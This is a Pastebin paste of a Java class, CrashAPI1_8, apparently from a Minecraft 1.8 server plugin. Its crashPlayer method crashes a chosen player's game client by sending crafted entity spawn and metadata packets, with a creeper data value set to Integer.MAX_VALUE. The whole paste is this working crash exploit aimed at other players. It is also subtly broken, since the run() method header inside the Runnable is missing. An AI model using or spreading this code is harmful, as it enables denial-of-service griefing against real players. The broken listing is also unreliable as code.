CodeRida

Untitled

Apr 7th, 2019
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. import net.minecraft.server.v1_8_R3.PacketPlayOutSpawnEntityLiving;
  2.  
  3. public class CrashAPI1_8 {
  4. private static CrashPlugin main;
  5.  
  6. public CrashAPI1_8(CrashPlugin main) {
  7. this.main = main;
  8. }
  9. public static void crashPlayer(Player p) {
  10. final EntityPlayer px = ((CraftPlayer)p).getHandle();
  11. final EntityCreeper entity = new EntityCreeper(px.world);
  12. final DataWatcher dw = new DataWatcher(entity);
  13. dw.a(18, (Object)Integer.MAX_VALUE);
  14. PacketPlayOutSpawnEntityLiving packet_spawn = new PacketPlayOutSpawnEntityLiving(entity);
  15. px.playerConnection.sendPacket(packet_spawn);
  16. Bukkit.getScheduler().scheduleSyncDelayedTask(main, new Runnable(){
  17. @Override
  18. PacketPlayOutEntityMetadata meta = new PacketPlayOutEntityMetadata(entity.getId(), dw, true);
  19. px.playerConnection.sendPacket(meta);
  20. }
  21.  
  22. }, 5L);
  23. return;
  24. }
  25. }
Advertisement
Add Comment
Please, Sign In to add comment